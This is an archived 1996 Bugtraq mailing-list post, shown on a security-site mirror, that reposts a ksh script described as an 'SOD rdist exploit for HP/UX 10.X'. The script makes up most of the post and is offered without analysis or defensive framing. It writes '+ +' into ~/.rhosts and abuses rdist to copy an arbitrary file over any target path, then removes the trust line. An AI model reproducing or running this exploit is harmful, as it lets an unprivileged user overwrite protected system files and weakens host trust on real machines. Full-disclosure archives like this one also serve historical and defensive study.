Nmap Security Scanner
*Intro
*Ref Guide
*Install Guide
*Download
*Changelog
*Book
*Docs
Security Lists
*Nmap Hackers
*Nmap Dev
*Bugtraq
*Full Disclosure
*Pen Test
*Basics
*More
Security Tools
*Pass crackers
*Sniffers
*Vuln Scanners
*Web scanners
*Wireless
*Exploitation
*Packet crafters
*More
Site News
Site Search:
Exploit World
Advertising
About/Contact
Credits
Sponsors:
edgeos



Bugtraq: Re: Untitled

Re: Untitled

From: Stefan Zehl <sec_at_wg.camelot.de>
Date: Sat, 9 Nov 1996 13:34:11 GMT

In article <199611090952.CAA20898_at_command.com.inter.net>, Scriptors of DOOM wrote:
> So...
> Hi again...
> It's me...
> Yup, it's Friday...

Fresh (?) from their website :)

#!/bin/ksh

# SOD rdist exploit for HP/UX 10.X
# Boner 10Aug96

if [ -z "$2" ]
then
  echo "usage: rdcp from to"
  exit
fi

FROM=$1
TO=$2
TMP=/tmp/.tmp$$
HOME=`pwd`

if [ "${FROM}" = "${FROM#/}" ]
then
  FROM=$HOME/$FROM
fi

echo '+ +' >> ~/.rhosts

echo "Copying $FROM to $TO"
rdist -f - << EOF > /dev/null 2>&1
${FROM} -> localhost
        install ${TMP};
EOF
mv ${TMP} ${TO}
grep -v "+ +" ~/.rhosts > $TMP
mv ${TMP} ~/.rhosts
if [ -f ${TMP} ]; then rm ${TMP}; fi

CU,
        Sec

--
 Jeder Tag an dem du nicht lächelst, ist ein verlorener Tag. (C. Chaplin)
          Hiroshima '45    Tsjernobyl '86   Windows '95
          Black holes are where GOD is dividing by zero
Received on Nov 09 1996
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
edgeos